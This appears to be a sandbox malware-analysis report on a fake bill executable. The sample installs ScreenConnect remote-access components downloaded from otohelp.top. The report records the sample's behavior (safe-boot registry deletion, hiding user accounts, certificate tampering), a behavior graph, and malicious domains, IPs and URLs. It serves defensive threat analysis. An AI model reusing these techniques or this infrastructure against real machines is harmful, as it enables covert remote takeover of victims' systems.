Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsFileManager.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsClient.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsFileManager.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1806 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00EF1806
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Deletes keys which are related to windows safe boot (disables safe mode boot)
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\ScreenConnect Client (89e470af-f42d-4b2f-ad1d-717711c7c76a)
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.4.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: MsMpEng.exe
Adds / modifies Windows certificates
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Yara detected ScreenConnect Tool
Source: Yara match File source: 9.0.ScreenConnect.WindowsClient.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1935481684.000000001B7A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2591740664.000001F6B5E76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1933881909.0000000002D5F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: dfsvc.exe PID: 5812, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7700, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 7736, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523877 Sample: E_BILL9926378035.exe Startdate: 02/10/2024 Architecture: WINDOWS Score: 69 46 mmf351.ddns.net 2->46 48 otohelp.top 2->48 50 3 other IPs or domains 2->50 58 Suricata IDS alerts for network traffic 2->58 60 Multi AV Scanner detection for submitted file 2->60 62 .NET source code references suspicious native API functions 2->62 66 3 other signatures 2->66 9 E_BILL9926378035.exe 2 2->9         started        11 ScreenConnect.ClientService.exe 2->11         started        14 svchost.exe 8 2->14         started        16 svchost.exe 1 1 2->16         started        signatures3 64 Uses dynamic DNS services 46->64 process4 dnsIp5 19 dfsvc.exe 131 110 9->19         started        23 WerFault.exe 21 16 9->23         started        70 Reads the Security eventlog 11->70 72 Reads the System eventlog 11->72 74 Deletes keys which are related to windows safe boot (disables safe mode boot) 11->74 25 ScreenConnect.WindowsClient.exe 11->25         started        28 WerFault.exe 2 14->28         started        44 127.0.0.1 unknown unknown 16->44 signatures6 process7 dnsIp8 52 otohelp.top 79.110.49.16, 443, 49731, 49735 OTAVANET-ASCZ Germany 19->52 36 C:\...\ScreenConnect.WindowsFileManager.exe, PE32 19->36 dropped 38 C:\Users\...\ScreenConnect.WindowsClient.exe, PE32 19->38 dropped 40 ScreenConnect.WindowsBackstageShell.exe, PE32 19->40 dropped 42 13 other files (none is malicious) 19->42 dropped 30 ScreenConnect.WindowsClient.exe 19 9 19->30         started        68 Contains functionality to hide user accounts 25->68 file9 signatures10 process11 signatures12 76 Contains functionality to hide user accounts 30->76 33 ScreenConnect.ClientService.exe 30->33         started        process13 signatures14 54 Contains functionality to hide user accounts 33->54 56 Enables network access during safeboot for specific services 33->56
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
79.110.49.16
 otohelp.top Germany
57287 OTAVANET-ASCZ true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.214.172 true
otohelp.top 79.110.49.16 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true
mmf351.ddns.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config true unknown
https://otohelp.top/Bin/ScreenConnect.Windows.dll true unknown
https://otohelp.top/Bin/ScreenConnect.Client.dll true unknown
https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe true unknown
https://otohelp.top/Bin/ScreenConnect.ClientService.dll true unknown
https://otohelp.top/Bin/ScreenConnect.Client.manifest true unknown
https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe true unknown
https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe true
    		unknown
    https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe.config true
      		unknown
      https://otohelp.top/Bin/ScreenConnect.Core.dll true
        		unknown
        https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config true
          		unknown
          https://otohelp.top/Bin/ScreenConnect.ClientService.exe true
            		unknown